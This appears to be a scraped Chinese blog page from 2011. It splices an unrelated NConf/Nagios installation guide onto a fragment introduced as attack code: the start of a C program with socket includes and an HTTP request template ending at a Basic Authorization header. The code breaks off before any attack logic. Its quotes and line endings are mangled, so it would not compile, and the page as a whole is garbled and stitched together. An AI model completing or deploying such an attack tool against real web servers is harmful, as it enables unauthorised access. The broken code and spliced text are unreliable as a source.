攻击代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <getopt.h>
#define PORT 80
#define SA struct sockaddr
char header[] =
“GET /%s/ HTTP/1.1rn”
“Host: %srn”
“User-Agent: Mozilla/5.0 (X11; Linux i686; rv:8.0.1) Gecko/20100101 Firefox/8.0.1rn”
“Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn”
“Accept-Language: pl,en-us;q=0.7,en;q=0.3rn”
“Accept-Encoding: gzip, deflatern”
“Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn”
“Proxy-Connection: keep-alivern”
“Authorization: Basic “;
苦咖啡 十二月 27th, 2011
Posted In: 网络技术
可能很多新手在配置nagios的时候对其配置文件感到头痛,现在有了好的办法去解决,就是用nconf来生成配置文件,话不多说,看具体操作方法
下载最新的nconf文件
wget http://sourceforge.net/projects/nconf/files/nconf/1.3.0-0/nconf-1.3.0-0.tgz/download
下载完文件后,直接解压缩,配置好数据库用户名及密码,配置好nginx或是apache,本文使用nginx配置其虚拟主机
直接访问地址http://127.0.0.1
按提示进行安装,安装完成后需要删除INSTALL INSTALL.php Update Update.php这几个目录及文件,否则无法跳转到安装成功的界面
以下为nconf的截图
苦咖啡 十二月 13th, 2011
Posted In: linux系统